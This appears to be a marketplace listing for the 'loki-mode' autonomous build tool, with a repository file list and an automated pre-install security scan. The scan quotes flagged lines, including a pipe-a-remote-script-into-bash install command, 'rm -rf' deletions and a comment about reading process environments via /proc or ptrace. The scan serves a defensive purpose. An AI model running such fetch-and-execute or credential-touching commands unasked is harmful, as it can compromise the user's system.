  • tests/min/fixtures/failures/surefire.txtasset972 bytes
  • tests/min/fixtures/failures/vitest-suite-a.txtasset859 bytes
  • tests/min/fixtures/failures/vitest-suite-b.txtasset863 bytes
  • tests/min/fixtures/failures/vitest.txtasset582 bytes
  • tests/min/fixtures/opencode/bin/opencoderuns945 bytes
  • tests/min/fixtures/stacks/dotnet/.gitignoreasset10 bytes
  • tests/min/fixtures/stacks/dotnet/Calc.Tests/Calc.Tests.csprojasset529 bytes
  • tests/min/fixtures/stacks/dotnet/Calc.Tests/CalculatorTests.csasset168 bytes
  • tests/min/fixtures/stacks/dotnet/Calc.slnasset1,268 bytes
  • tests/min/fixtures/stacks/dotnet/Calc/Calc.csprojasset172 bytes
  • tests/min/fixtures/stacks/dotnet/Calc/Calculator.csasset126 bytes
  • tests/min/fixtures/stacks/go/calc/calc.goruns159 bytes
  • tests/min/fixtures/stacks/go/calc/calc_test.goruns113 bytes
  • tests/min/fixtures/stacks/go/cmd/main.goruns111 bytes
  • tests/min/fixtures/stacks/go/go.modasset33 bytes
  • tests/min/fixtures/stacks/gradle/.gitignoreasset16 bytes
  • tests/min/fixtures/stacks/gradle/build.gradleasset351 bytes
  • tests/min/fixtures/stacks/gradle/gradle.propertiesasset24 bytes
  • tests/min/fixtures/stacks/gradle/settings.gradleasset26 bytes
  • tests/min/fixtures/stacks/gradle/src/main/java/demo/Calc.javaasset131 bytes
  • tests/min/fixtures/stacks/gradle/src/test/java/demo/CalcTest.javaasset224 bytes
  • tests/min/fixtures/stacks/maven/.gitignoreasset8 bytes
  • tests/min/fixtures/stacks/maven/pom.xmlasset972 bytes
  • tests/min/fixtures/stacks/maven/src/main/java/demo/Calc.javaasset131 bytes
  • tests/min/fixtures/stacks/maven/src/test/java/demo/CalcTest.javaasset224 bytes
  • tests/min/fixtures/stacks/rust/.gitignoreasset8 bytes
  • tests/min/fixtures/stacks/rust/Cargo.tomlasset59 bytes
  • tests/min/fixtures/stacks/rust/src/calc.rsasset140 bytes
  • tests/min/fixtures/stacks/rust/src/lib.rsasset144 bytes
  • tests/min/fixtures/stacks/rust/src/main.rsasset74 bytes
  • tests/min/fixtures/triage/bin/ghruns853 bytes
  • tests/min/fixtures/triage/issues.jsonasset1,787 bytes
  • tests/min/fixtures/triage/jira-search.jsonasset813 bytes
  • tests/min/fixtures/triage/jira_server.pyruns1,954 bytes
  • tests/min/fixtures/triage/linear-issues.jsonasset960 bytes
  • tests/min/h2h-harness.shruns48,024 bytes
  • tests/min/host-guard.shruns15,087 bytes
  • tests/min/hygiene.shruns10,838 bytes
  • tests/min/issue-context.shruns14,522 bytes
  • tests/min/learn-from-runs.shruns37,626 bytes
  • tests/min/lib.shruns1,919 bytes
  • tests/min/newcomer-path.shruns43,810 bytes
  • tests/min/one-line-goal.shruns7,722 bytes
  • tests/min/outcome-metrics.shruns21,328 bytes
  • tests/min/pack-contents.shruns4,528 bytes
  • tests/min/providers-supported.shruns19,242 bytes
  • tests/min/receipt-roundtrip.shruns4,581 bytes
  • tests/min/redaction.shruns3,412 bytes
  • tests/min/release-notes.shruns2,386 bytes
  • tests/min/run-safety.shruns34,475 bytes
  • tests/min/scope-and-fix.shruns45,456 bytes
  • tests/min/stacks.shruns17,474 bytes
  • tests/min/syntax.shruns2,315 bytes
  • tests/min/triage-router.shruns24,367 bytes
  • tests/min/typecheck.shruns837 bytes
  • tests/min/version-consistency.shruns4,110 bytes
  • tests/test-plugin-json-current.shruns8,445 bytes
  • tests/test-server-json-current.shruns5,554 bytes
  • tools/audit-docs.pyruns20,792 bytes
  • tools/baseline-pin.pyruns10,268 bytes
  • tools/bench_cross_project_lift.pyruns9,510 bytes
  • tools/bench_memory_retrieval.pyruns6,157 bytes
  • tools/calibration-audit.pyruns22,775 bytes
  • tools/ci-gate.pyruns10,558 bytes
  • tools/cost-attribute.pyruns16,605 bytes
  • tools/cost-forecast.pyruns14,359 bytes
  • tools/cost-guard.pyruns11,221 bytes
  • tools/cost-history.pyruns13,173 bytes
  • tools/cost-per-outcome.pyruns17,246 bytes
  • tools/estimate-run.pyruns16,586 bytes
  • tools/gate-badge.pyruns5,960 bytes
  • tools/gate-explain.pyruns12,296 bytes
  • tools/gate-init.pyruns13,962 bytes
  • tools/gate-log.pyruns17,267 bytes
  • tools/gate-report.pyruns11,221 bytes
  • tools/gate-status.pyruns14,053 bytes
  • tools/gate-trend.pyruns14,912 bytes
  • tools/hybrid_search.pyruns16,971 bytes
  • tools/index-codebase.pyruns27,070 bytes
  • tools/model-advisor.pyruns24,691 bytes
  • tools/normalize-package-permissions.mjsruns1,135 bytes
  • tools/outcome-canary-evaluate.pyruns10,957 bytes
  • tools/outcome-canary-observe.pyruns10,185 bytes
  • tools/outcome-canary-receipt-verify.pyruns7,825 bytes
  • tools/outcome-canary-receipt.pyruns10,053 bytes
  • tools/outcome-canary.pyruns9,271 bytes
  • tools/outcome-router.pyruns5,011 bytes
  • tools/policy-diff.pyruns8,385 bytes
  • tools/policy-load.pyruns8,745 bytes
  • tools/preflight.shruns15,835 bytes
  • tools/probe-model-catalog.pyruns4,866 bytes
  • tools/proof-passport.pyruns7,182 bytes
  • tools/receipt-attest.pyruns15,581 bytes
  • tools/receipt-bundle.pyruns16,404 bytes
  • tools/receipt-diff.pyruns11,700 bytes
  • tools/receipt-export.pyruns14,619 bytes
  • tools/receipt-find.pyruns13,627 bytes
  • tools/receipt-stats.pyruns15,796 bytes
  • tools/receipt-verify-batch.pyruns11,853 bytes
  • tools/regen-state-machine-refs.pyruns6,997 bytes
  • tools/run-replay.pyruns16,915 bytes
  • tools/token-guard.pyruns10,412 bytes
  • tools/tool-index.pyruns6,974 bytes
  • tools/verification-tax.pyruns10,983 bytes
  • tools/verify-chain.pyruns16,253 bytes
  • tools/verify-demo.shruns8,827 bytes
  • vendor/autonomi-verify/LICENSEasset1,750 bytes
  • vendor/autonomi-verify/README.mddoc2,149 bytes
  • vendor/autonomi-verify/embed.jsruns5,303 bytes
  • web-app/.gitignoreasset14 bytes
  • web-app/Dockerfileruns1,581 bytes
  • web-app/alembic.iniasset741 bytes
  • web-app/auth.pyruns10,450 bytes
  • web-app/crypto.pyruns2,837 bytes
  • web-app/deploy/k8s/purple-lab/configmap.yamlasset149 bytes
  • web-app/deploy/k8s/purple-lab/deployment.yamlasset1,698 bytes
  • web-app/deploy/k8s/purple-lab/hpa.yamlasset489 bytes
  • web-app/deploy/k8s/purple-lab/ingress.yamlasset887 bytes
  • web-app/deploy/k8s/purple-lab/networkpolicy.yamlasset1,738 bytes
  • web-app/deploy/k8s/purple-lab/pdb.yamlasset182 bytes
  • web-app/deploy/k8s/purple-lab/postgres.yamlasset2,100 bytes
  • web-app/deploy/k8s/purple-lab/pvc.yamlasset169 bytes
  • web-app/deploy/k8s/purple-lab/secret.yamlasset376 bytes
  • web-app/deploy/k8s/purple-lab/service.yamlasset199 bytes
  • web-app/deploy/k8s/purple-lab/serviceaccount.yamlasset131 bytes
  • web-app/dist/assets/AdminPage-0bmzFL_H.jsruns51,063 bytes
  • web-app/dist/assets/Avatar-CCOnr1Br.jsruns2,080 bytes
  • web-app/dist/assets/Badge-OabKAhBk.jsruns1,144 bytes
  • web-app/dist/assets/Button-Pb6cYL9O.jsruns1,311 bytes
  • web-app/dist/assets/CockpitPage-C42HXGgd.jsruns49,411 bytes
  • web-app/dist/assets/ComparePage-CzTHDUhY.jsruns11,493 bytes
  • web-app/dist/assets/ErrorBoundary-iEMh3HfQ.jsruns2,747 bytes
  • web-app/dist/assets/EvidenceReceiptPanel-tsCWt07q.jsruns7,488 bytes
  • web-app/dist/assets/GitHubIssuesPanel-Dynw9316.jsruns12,099 bytes
  • web-app/dist/assets/GitHubPRsPanel-cQ-fQo3W.jsruns22,493 bytes
  • web-app/dist/assets/HomePage-mHgVLI9j.jsruns68,642 bytes
  • web-app/dist/assets/LoginPage-BCsBRGUT.jsruns3,798 bytes
  • web-app/dist/assets/MagicPage-NPSBAxfc.jsruns25,266 bytes
  • web-app/dist/assets/MetricsPage-DE5BYswy.jsruns11,617 bytes
  • web-app/dist/assets/NotFoundPage-ChakqXtu.jsruns1,085 bytes
  • web-app/dist/assets/ProjectPage-9CEnUXvW.cssasset5,752 bytes
  • web-app/dist/assets/ProjectPage-BCv8qSrj.jsruns608,353 bytes
  • web-app/dist/assets/ProjectsPage-D7t3kXi1.jsruns10,430 bytes
  • web-app/dist/assets/SettingsPage-DWcOoseJ.jsruns29,532 bytes
  • web-app/dist/assets/ShowcasePage-BGBS53rc.jsruns10,530 bytes
  • web-app/dist/assets/SystemSettingsPage-DnlNsHR1.jsruns16,842 bytes
  • web-app/dist/assets/TeamsPage-gbdyps5P.jsruns22,510 bytes
  • web-app/dist/assets/TemplatesPage-CoCS7TBP.jsruns41,347 bytes
  • web-app/dist/assets/TerminalOutput-Bu59uXM6.jsruns5,769 bytes
  • web-app/dist/assets/activity-RK1kWujc.jsruns407 bytes
  • web-app/dist/assets/bell-PkQgU5tb.jsruns463 bytes
  • web-app/dist/assets/bot-KfQKc1W2.jsruns501 bytes
  • web-app/dist/assets/check-CLP-eFsI.jsruns292 bytes
  • web-app/dist/assets/chevron-left-L1ARkN2A.jsruns303 bytes
  • web-app/dist/assets/circle-alert-DQaOtcz7.jsruns423 bytes
  • web-app/dist/assets/clock-Dj81AT7o.jsruns337 bytes
  • web-app/dist/assets/cloud-CBc9HiD3.jsruns333 bytes
  • web-app/dist/assets/code-xml-Cg-6mn1e.jsruns381 bytes
  • web-app/dist/assets/database-hcC4hh9n.jsruns416 bytes
  • web-app/dist/assets/dollar-sign-D7KwqRKC.jsruns392 bytes
  • web-app/dist/assets/file-code-corner-BeiPZfPk.jsruns533 bytes
  • web-app/dist/assets/file-plus-Bbb3V7O6.jsruns522 bytes
  • web-app/dist/assets/globe-ePwFFIti.jsruns410 bytes
  • web-app/dist/assets/hammer-DCZkTmjn.jsruns568 bytes
  • web-app/dist/assets/index-Cx7e1d6w.cssasset99,315 bytes
  • web-app/dist/assets/index-DOUc1fHo.jsruns349,286 bytes
  • web-app/dist/assets/layers-DCsRb5Mz.jsruns594 bytes
  • web-app/dist/assets/loader-circle-20jch_P3.jsruns312 bytes
  • web-app/dist/assets/lock-BR3SVeMz.jsruns374 bytes
  • web-app/dist/assets/package-BBTTXS5s.jsruns545 bytes
  • web-app/dist/assets/plus-Djq8BzoS.jsruns326 bytes
  • web-app/dist/assets/refresh-cw-wsCa1mCg.jsruns494 bytes
  • web-app/dist/assets/rotate-ccw-DR6yOe_5.jsruns927 bytes
  • web-app/dist/assets/scroll-text-B8xdqAGX.jsruns522 bytes
  • web-app/dist/assets/server-Dm3VKzKU.jsruns511 bytes
  • web-app/dist/assets/shield-alert-CG6IydWg.jsruns526 bytes
  • web-app/dist/assets/thumbs-up-Dm-ujUy6.jsruns2,628 bytes
  • web-app/dist/assets/trash-2-BqO_GJJk.jsruns1,277 bytes
  • web-app/dist/assets/trending-down-DaPKY5Q9.jsruns351 bytes
  • web-app/dist/assets/trending-up-COtd-NWK.jsruns348 bytes
  • web-app/dist/assets/upload-CbiA6m9-.jsruns403 bytes
  • web-app/dist/assets/usePolling--6qRWxz8.jsruns510 bytes
  • web-app/dist/assets/user-DD2d70oe.jsruns364 bytes
  • web-app/dist/index.htmlasset800 bytes
  • web-app/docker-compose.purple-lab.ymlasset1,924 bytes
  • web-app/eslint.config.jsruns874 bytes
  • web-app/index.htmlasset694 bytes
  • web-app/migrations/env.pyruns3,310 bytes
  • web-app/migrations/script.py.makoasset634 bytes
  • web-app/migrations/versions/.gitkeepasset0 bytes
  • web-app/migrations/versions/001_initial_schema.pyruns3,761 bytes
  • web-app/models.pyruns4,974 bytes
  • web-app/package-lock.jsonasset149,322 bytes
  • web-app/package.jsonruns1,063 bytes
  • web-app/postcss.config.jsruns80 bytes
  • web-app/requirements.txtdoc902 bytes
  • web-app/server.pyruns380,020 bytes
  • web-app/src/App.tsxruns4,389 bytes
  • web-app/src/api/client.tsruns31,292 bytes
  • web-app/src/cockpit/AgentChatter.tsxruns3,409 bytes
  • web-app/src/cockpit/ChangeReview.tsxruns6,708 bytes
  • web-app/src/cockpit/EvidencePanel.tsxruns8,002 bytes
  • web-app/src/cockpit/ExecutionCockpit.tsxruns10,123 bytes
  • web-app/src/cockpit/FinalActions.tsxruns10,825 bytes
  • web-app/src/cockpit/PhaseTimeline.tsxruns5,386 bytes
  • web-app/src/cockpit/RiskPanel.tsxruns8,454 bytes
  • web-app/src/cockpit/RunMetrics.tsxruns3,764 bytes
  • web-app/src/cockpit/StatusBanner.tsxruns4,548 bytes
  • web-app/src/cockpit/TaskHeader.tsxruns4,523 bytes
  • web-app/src/cockpit/derive.tsruns4,283 bytes
  • web-app/src/cockpit/phases.tsruns4,188 bytes
  • web-app/src/cockpit/run-derive-view-test.mjsruns1,344 bytes
  • web-app/src/cockpit/useCockpitState.tsruns12,484 bytes
  • web-app/src/components/AIChatPanel.tsxruns37,441 bytes
  • web-app/src/components/AchievementToast.tsxruns3,342 bytes
  • web-app/src/components/ActivityFeed.tsxruns6,654 bytes
  • web-app/src/components/ActivityPanel.tsxruns7,338 bytes
  • web-app/src/components/AgentDashboard.tsxruns4,079 bytes
  • web-app/src/components/AuditTrail.tsxruns17,348 bytes
  • web-app/src/components/Avatar.tsxruns2,230 bytes
  • web-app/src/components/BenefitCards.tsxruns2,006 bytes
  • web-app/src/components/BuildActivityFeed.tsxruns8,667 bytes
  • web-app/src/components/BuildCelebration.tsxruns2,102 bytes
  • web-app/src/components/BuildInsights.tsxruns13,209 bytes
  • web-app/src/components/BuildProgressBar.tsxruns6,336 bytes
  • web-app/src/components/BuildReplay.tsxruns4,341 bytes
  • web-app/src/components/CICDPanel.tsxruns27,787 bytes
  • web-app/src/components/Celebration.tsxruns3,025 bytes
  • web-app/src/components/ChangePreview.tsxruns11,147 bytes
  • web-app/src/components/ChangelogWidget.tsxruns856 bytes
  • web-app/src/components/CheckpointTimeline.tsxruns6,076 bytes
  • web-app/src/components/CommandPalette.tsxruns15,564 bytes
  • web-app/src/components/ComplianceDashboard.tsxruns11,488 bytes
  • web-app/src/components/ContextualHelp.tsxruns3,308 bytes
  • web-app/src/components/ControlBar.tsxruns3,859 bytes
  • web-app/src/components/CostEstimator.tsxruns9,366 bytes
  • web-app/src/components/CustomTemplateCreator.tsxruns15,001 bytes
  • web-app/src/components/DeployConnections.tsxruns17,329 bytes
  • web-app/src/components/DeployPanel.tsxruns17,109 bytes
  • web-app/src/components/DeviceFrameSelector.tsxruns2,522 bytes
  • web-app/src/components/Divider.tsxruns574 bytes
  • web-app/src/components/DocsSidebar.tsxruns17,139 bytes
  • web-app/src/components/ErrorBoundary.tsxruns2,650 bytes
  • web-app/src/components/EvidenceReceiptPanel.tsxruns15,659 bytes
  • web-app/src/components/FeatureDiscoveryDot.tsxruns2,267 bytes
  • web-app/src/components/FeaturedTemplates.tsxruns10,277 bytes
  • web-app/src/components/FileBrowser.tsxruns7,827 bytes
  • web-app/src/components/Footer.tsxruns3,855 bytes
  • web-app/src/components/GettingStarted.tsxruns7,678 bytes
  • web-app/src/components/GitHubIssuesPanel.tsxruns21,080 bytes
  • web-app/src/components/GitHubPRsPanel.tsxruns37,905 bytes
  • web-app/src/components/GitPanel.tsxruns29,160 bytes
  • web-app/src/components/HowItWorks.tsxruns5,551 bytes
  • web-app/src/components/KeyboardShortcuts.tsxruns7,878 bytes
  • web-app/src/components/LoadingMessages.tsxruns1,763 bytes
  • web-app/src/components/MagicComponentCard.tsxruns10,248 bytes
  • web-app/src/components/MagicGeneratorPanel.tsxruns15,921 bytes
  • web-app/src/components/MemoryViewer.tsxruns3,779 bytes
  • web-app/src/components/MetricsPanel.tsxruns3,057 bytes
  • web-app/src/components/NLSearch.tsxruns12,139 bytes
  • web-app/src/components/NotificationSystem.tsxruns4,356 bytes
  • web-app/src/components/OnboardingOverlay.tsxruns4,241 bytes
  • web-app/src/components/OpenSourceStats.tsxruns6,295 bytes
  • web-app/src/components/PRDInput.tsxruns9,842 bytes
  • web-app/src/components/PhaseVisualizer.tsxruns5,416 bytes
  • web-app/src/components/PlanModal.tsxruns5,270 bytes
  • web-app/src/components/PreviewToolbar.tsxruns7,679 bytes
  • web-app/src/components/ProductTour.tsxruns9,545 bytes
  • web-app/src/components/ProjectGovernance.tsxruns13,513 bytes
  • web-app/src/components/ProjectWorkspace.tsxruns115,890 bytes
  • web-app/src/components/QualityGatesPanel.tsxruns4,519 bytes
  • web-app/src/components/RBACPanel.tsxruns11,130 bytes
  • web-app/src/components/ROICalculator.tsxruns5,746 bytes
  • web-app/src/components/ReportPanel.tsxruns5,970 bytes
  • web-app/src/components/Roadmap.tsxruns5,230 bytes
  • web-app/src/components/SessionHistory.tsxruns3,175 bytes
  • web-app/src/components/SmartSuggestions.tsxruns7,263 bytes
  • web-app/src/components/StatusBar.tsxruns5,816 bytes
  • web-app/src/components/StatusOverview.tsxruns1,349 bytes
  • web-app/src/components/Tag.tsxruns1,689 bytes
  • web-app/src/components/TeamPanel.tsxruns8,954 bytes
  • web-app/src/components/TemplatePreview.tsxruns13,195 bytes
  • web-app/src/components/TerminalEmulator.tsxruns7,698 bytes
  • web-app/src/components/TerminalOutput.tsxruns6,883 bytes
  • web-app/src/components/TokenSparkline.tsxruns2,204 bytes
  • web-app/src/components/TrustedBy.tsxruns2,539 bytes
  • web-app/src/components/UsageAnalytics.tsxruns15,937 bytes
  • web-app/src/components/UserManagement.tsxruns16,181 bytes
  • web-app/src/components/VirtualList.tsxruns2,534 bytes
  • web-app/src/components/WarmEmptyState.tsxruns4,004 bytes
  • web-app/src/components/WhatsNew.tsxruns4,798 bytes
  • web-app/src/components/auth/ProtectedRoute.tsxruns898 bytes
  • web-app/src/components/charts/DonutChart.tsxruns5,221 bytes
  • web-app/src/components/charts/LineChart.tsxruns7,239 bytes
  • web-app/src/components/layout/AppShell.tsxruns1,633 bytes
  • web-app/src/components/layout/Sidebar.tsxruns13,199 bytes
  • web-app/src/components/settings/SettingInput.tsxruns2,111 bytes
  • web-app/src/components/settings/SettingSelect.tsxruns1,459 bytes
  • web-app/src/components/settings/SettingSlider.tsxruns1,819 bytes
  • web-app/src/components/settings/SettingToggle.tsxruns1,648 bytes
  • web-app/src/components/ui/Badge.tsxruns1,593 bytes
  • web-app/src/components/ui/Button.tsxruns2,474 bytes
  • web-app/src/components/ui/Card.tsxruns1,098 bytes
  • web-app/src/components/ui/ContextMenu.tsxruns3,245 bytes
  • web-app/src/components/ui/IconButton.tsxruns1,202 bytes
  • web-app/src/components/ui/Skeleton.tsxruns2,242 bytes
  • web-app/src/contexts/NotificationContext.tsxruns3,029 bytes
  • web-app/src/hooks/useAuth.tsxruns7,360 bytes
  • web-app/src/hooks/useEscapeKey.tsruns1,488 bytes
  • web-app/src/hooks/useFocusTrap.tsruns2,082 bytes
  • web-app/src/hooks/usePolling.tsruns1,198 bytes
  • web-app/src/hooks/usePullToRefresh.tsruns2,686 bytes
  • web-app/src/hooks/useTheme.tsruns710 bytes
  • web-app/src/hooks/useWebSocket.tsruns1,565 bytes
  • web-app/src/index.cssasset11,173 bytes
  • web-app/src/main.tsxruns594 bytes
  • web-app/src/pages/AdminPage.tsxruns12,958 bytes
  • web-app/src/pages/CockpitPage.tsxruns836 bytes
  • web-app/src/pages/ComparePage.tsxruns9,838 bytes
  • web-app/src/pages/HomePage.tsxruns23,345 bytes
  • web-app/src/pages/LoginPage.tsxruns4,567 bytes
  • web-app/src/pages/MagicPage.tsxruns9,704 bytes
  • web-app/src/pages/MetricsPage.tsxruns11,124 bytes
  • web-app/src/pages/NotFoundPage.tsxruns1,223 bytes
  • web-app/src/pages/ProjectPage.tsxruns2,296 bytes
  • web-app/src/pages/ProjectsPage.tsxruns13,794 bytes
  • web-app/src/pages/SettingsPage.tsxruns43,575 bytes
  • web-app/src/pages/ShowcasePage.tsxruns7,707 bytes
  • web-app/src/pages/SystemSettingsPage.tsxruns25,592 bytes
  • web-app/src/pages/TeamsPage.tsxruns12,541 bytes
  • web-app/src/pages/TemplatesPage.tsxruns24,667 bytes
  • web-app/src/styles/animations.cssasset10,813 bytes
  • web-app/src/types/api.tsruns5,301 bytes
  • web-app/src/vite-env.d.tsruns38 bytes
  • web-app/tailwind.config.jsruns1,939 bytes
  • web-app/tsconfig.jsonasset689 bytes
  • web-app/vite.config.tsruns614 bytes
  • wiki/API-Reference.mddoc32,749 bytes
  • wiki/Architecture.mddoc22,112 bytes
  • wiki/Audit-Logging.mddoc6,381 bytes
  • wiki/CLI-Reference.mddoc58,752 bytes
  • wiki/Changelog.mddoc15,185 bytes
  • wiki/Completion-Council.mddoc6,673 bytes
  • wiki/Configuration.mddoc10,800 bytes
  • wiki/Contributing.mddoc5,787 bytes
  • wiki/Cross-Project-Learning.mddoc6,569 bytes
  • wiki/Dashboard.mddoc6,883 bytes
  • wiki/Enterprise-Features.mddoc14,783 bytes
  • wiki/Enterprise-Setup.mddoc7,132 bytes
  • wiki/Enterprise.mddoc5,104 bytes
  • wiki/Environment-Variables.mddoc24,112 bytes
  • wiki/FAQ.mddoc7,132 bytes
  • wiki/Getting-Started.mddoc3,684 bytes
  • wiki/GitHub-Integration.mddoc3,882 bytes
  • wiki/Home.mddoc8,034 bytes
  • wiki/Installation.mddoc3,635 bytes
  • wiki/Knowledge-Compounding.mddoc7,049 bytes
  • wiki/Network-Security.mddoc4,543 bytes
  • wiki/Notifications.mddoc8,784 bytes
  • wiki/Prometheus-Metrics.mddoc5,380 bytes
  • wiki/Providers.mddoc9,359 bytes
  • wiki/Sandbox-Mode.mddoc6,417 bytes
  • wiki/Security.mddoc8,744 bytes
  • wiki/Troubleshooting.mddoc7,097 bytes
  • wiki/Use-Cases.mddoc8,631 bytes
  • wiki/_Sidebar.mddoc816 bytes

No excerpt is shown for this license. Read the source on GitHub.

View the complete source on GitHub

Skills included

  • loki-mode
  • loki-mode-openclaw
  • loki-seal

Repository facts

License
No license detected
Created
Dec 26, 2025
Last pushed
Nov 6, 2026
Forks
206
Open issues
184
Project activity
Active

Rank over the last 12 weeks

Now #815 · best #535 · down 158 in 30 days

  1. #801 on Nov 1
  2. #808 on Nov 2
  3. #811 on Nov 3
  4. #815 on Nov 4
  5. #814 on Nov 5
  6. #815 since Nov 6
51 earlier periods
  1. #528 on Aug 2
  2. #549 on Aug 6
  3. #523 on Aug 8
  4. #528 on Aug 9
  5. #547 from Aug 10 to Aug 11
  6. #553 on Aug 13
  7. #535 on Aug 15
  8. #552 on Aug 17
  9. #568 on Aug 18
  10. #568 on Aug 21
  11. #572 on Aug 23
  12. #576 on Aug 24
  13. #590 on Aug 25
  14. #559 on Aug 30
  15. #587 on Aug 31
  16. #614 on Sep 8
  17. #607 on Sep 10
  18. #597 on Sep 11
  19. #599 on Sep 13
  20. #616 on Sep 14
  21. #618 on Sep 15
  22. #624 on Sep 16
  23. #633 on Sep 21
  24. #642 on Sep 23
  25. #616 on Sep 24
  26. #642 on Sep 28
  27. #677 on Sep 29
  28. #656 on Sep 30
  29. #639 on Oct 2
  30. #617 on Oct 3
  31. #639 on Oct 4
  32. #644 on Oct 5
  33. #651 on Oct 6
  34. #657 on Oct 7
  35. #691 on Oct 8
  36. #671 on Oct 9
  37. #653 on Oct 11
  38. #674 on Oct 12
  39. #671 on Oct 13
  40. #686 on Oct 14
  41. #671 on Oct 17
  42. #664 on Oct 18
  43. #719 on Oct 21
  44. #699 on Oct 22
  45. #700 on Oct 23
  46. #674 on Oct 24
  47. #785 on Oct 25
  48. #789 on Oct 28
  49. #796 on Oct 29
  50. #797 on Oct 30
  51. #800 on Oct 31

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 3, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 379 notes
  • CHANGELOG.md:1 Analysis incomplete: file exceeds text byte budget
  • CHANGELOG.md:485 Analysis incomplete: physical or joined line exceeds character limit
  • CHANGELOG.md:507 Analysis incomplete: physical or joined line exceeds character limit
  • CHANGELOG.md:508 Analysis incomplete: physical or joined line exceeds character limit
  • CHANGELOG.md:676 Analysis incomplete: physical or joined line exceeds character limit
  • CHANGELOG.md:684 Analysis incomplete: physical or joined line exceeds character limit
  • CHANGELOG.md:683 Analysis incomplete: physical or joined line exceeds character limit
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • autonomy/loki:1 Analysis incomplete: file exceeds text byte budget
  • autonomy/loki:11390 Analysis incomplete: regex work limit reached
  • autonomy/run.sh:1 Analysis incomplete: file exceeds text byte budget
  • autonomy/run.sh:11035 Analysis incomplete: regex work limit reached
  • benchmarks/h2h/results/2026-11-01-0ff237642.json:10128 Analysis incomplete: regex work limit reached
  • benchmarks/h2h/results/2026-11-01-e13f3dd72-hard.json:1 Analysis incomplete: file exceeds text byte budget
  • benchmarks/h2h/results/2026-11-01-e13f3dd72-hard.json:10169 Analysis incomplete: regex work limit reached
  • benchmarks/h2h/results/2026-11-01-learning-v2-after.json:10128 Analysis incomplete: regex work limit reached
Show all 10,438 signals by file

.claude-plugin/marketplace.json

  • Network accessline 1
    {   "$schema": "https://json.schemastore.org/claude-code-marketplace.json",
  • Network accessline 2
    "$schema": "https://json.schemastore.org/claude-code-marketplace.json",
  • Network accessline 11
    "source": "./plugins/loki-mode",       "description": "Autonomous spec-to-product build system with a built-in trust layer. Ships Loki's spec-hardening (grill), living-spec drift detection, and deterministic PR verification commands, plus t
  • Network accessline 12
    "description": "Autonomous spec-to-product build system with a built-in trust layer. Ships Loki's spec-hardening (grill), living-spec drift detection, and deterministic PR verification commands, plus the Loki MCP server (memory, task queue,
  • Network accessline 13
    "homepage": "https://github.com/asklokesh/loki-mode",
  • Network accessline 14
    "repository": "https://github.com/asklokesh/loki-mode",
  • Network accessline 29
    "source": "./packages/loki-seal",       "description": "Stop hook that refuses 'done' while tests are red or were deleted, skipped, xfailed or weakened. Runs locally, no model calls.",       "homepage": "https://github.com/asklokesh/loki-mo
  • Network accessline 30
    "description": "Stop hook that refuses 'done' while tests are red or were deleted, skipped, xfailed or weakened. Runs locally, no model calls.",       "homepage": "https://github.com/asklokesh/loki-mode",       "category": "testing",
  • Network accessline 31
    "homepage": "https://github.com/asklokesh/loki-mode",

.claude/commands/loki-verify.md

  • Broad permissionsline 1
    Bash(loki verify:*), Bash(command -v:*), Read

.dockerignore

  • Access to secretsline 15
    [Credential-related source omitted]

.githooks/pre-commit

  • Executable scriptline 1
    #!/usr/bin/env bash

.githooks/pre-push

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 125
    rm -f "$_cl_tmp"
  • Dangerous shell operationline 243
    "${TMPDIR:-/tmp}"/loki-prepush-full.*) rm -rf -- "$_full_scan_root" ;;

.github/CODE_OF_CONDUCT.md

  • Network accessline 45
    This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org),
  • Network accessline 47
    https://www.contributor-covenant.org/version/2/1/code_of_conduct/.

.github/CONTRIBUTING.md

  • Dangerous shell operationline 9
    - **Bun 1.3+** (`brew install oven-sh/bun/bun` or `curl -fsSL https://bun.sh/install | bash`) -- powers the TypeScript runner under `loki-ts/`
  • Network accessline 9
    - **Bun 1.3+** (`brew install oven-sh/bun/bun` or `curl -fsSL https://bun.sh/install | bash`) -- powers the TypeScript runner under `loki-ts/`
  • Network accessline 19
    git clone https://github.com/asklokesh/loki-mode.git
  • Network accessline 119
    Use the [issue templates](https://github.com/asklokesh/loki-mode/issues/new/choose) for bug reports and feature requests.

.github/ISSUE_TEMPLATE/config.yml

  • Network accessline 2
    contact_links:   - name: Documentation     url: https://github.com/asklokesh/loki-mode/wiki
  • Network accessline 3
    - name: Documentation     url: https://github.com/asklokesh/loki-mode/wiki     about: Check the wiki for guides and references before opening an issue.
  • Network accessline 4
    url: https://github.com/asklokesh/loki-mode/wiki
  • Network accessline 5
    about: Check the wiki for guides and references before opening an issue.   - name: Discussions     url: https://github.com/asklokesh/loki-mode/discussions
  • Network accessline 6
    - name: Discussions     url: https://github.com/asklokesh/loki-mode/discussions     about: Ask questions, share projects, or discuss ideas in Discussions.
  • Network accessline 7
    url: https://github.com/asklokesh/loki-mode/discussions

.github/actions/issue-to-pr/action.yml

  • Dangerous shell operationline 26
    # /proc/<pid>/environ or ptrace with the passwordless sudo hosted runners
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]

.github/actions/receipt-check/check.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

.github/workflows/converge-dist-tags.yml

  • Network accessline 41
    package-manager-cache: false  # setup-node v5+ caches npm automatically; a cache an issue-triggered job can write must never reach a job holding secrets           node-version: '22'           registry-url: 'https://registry.npmjs.org'
  • Network accessline 43
    registry-url: 'https://registry.npmjs.org'
  • Access to secretsline 51
    [Credential-related source omitted]

.github/workflows/release.yml

  • Network accessline 213
    package-manager-cache: false  # setup-node v5+ caches npm automatically; a cache an issue-triggered job can write must never reach a job holding secrets           node-version: '22'           registry-url: 'https://registry.npmjs.org'
  • Network accessline 215
    registry-url: 'https://registry.npmjs.org'
  • Access to secretsline 225
    [Credential-related source omitted]
  • Network accessline 283
